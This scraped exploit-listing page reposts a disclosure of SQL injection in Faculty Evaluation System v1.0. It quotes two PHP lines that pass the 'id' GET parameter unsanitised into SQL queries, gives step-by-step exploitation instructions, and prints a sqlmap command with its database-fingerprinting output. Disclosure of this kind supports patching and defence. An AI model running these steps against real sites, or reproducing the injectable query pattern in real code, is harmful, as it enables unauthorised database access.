Faculty Evaluation System v1.0 SQL Injection

CVE Category Price Severity
CVE-YYYY-XXXX CWE-89 $500 High
Author Risk Exploitation Type Date
Unknown Critical Remote 2023-07-21
Our sensors found this exploit at:

Below is a copy:

Faculty Evaluation System v1.0 SQL Injection
# Exploit Title: Faculty Evaluation System v1.0 - SQL Injection
# Date: 07/2023
# Exploit Author: Andrey Stoykov
# Vendor Homepage:
# Software Link:
# Version: 1.0
# Tested on: Windows Server 2022

SQLi #1

File: edit_evaluation

Line #4
$qry = $conn->query("SELECT * FROM ratings where id = ".$_GET['id'])->fetch_array();

SQLi #2

File: view_faculty.php

Line #4

// Add "id" parameter after "view_faculty" parameter then add equals "id" with integer
$qry = $conn->query("SELECT *,concat(firstname,' ',lastname) as name FROM faculty_list where id = ".$_GET['id'])->fetch_array();

Steps to Exploit:

1. Login to application
2. Browse to following URI "http://host/eval/index.php?page=view_faculty&id=1"
3. Copy request to intercept proxy to file
4. Exploit using SQLMap

sqlmap -r test.txt  --threads 1 --dbms=mysql --fingerprint

[INFO] testing MySQL
[INFO] confirming MySQL
[INFO] the back-end DBMS is MySQL
[INFO] actively fingerprinting MySQL
[INFO] executing MySQL comment injection fingerprint
back-end DBMS: active fingerprint: MySQL >= 5.7
               comment injection fingerprint: MySQL 5.6.49
               fork fingerprint: MariaDB

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